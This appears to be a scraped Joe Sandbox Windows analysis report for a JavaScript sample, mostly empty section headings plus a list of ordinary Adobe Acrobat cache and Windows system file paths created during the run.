Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\36b4e053-0725-4a7f-883b-76a46f33a31f.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.2820

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.2820

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Windows Analysis Report
2926013193173129097.js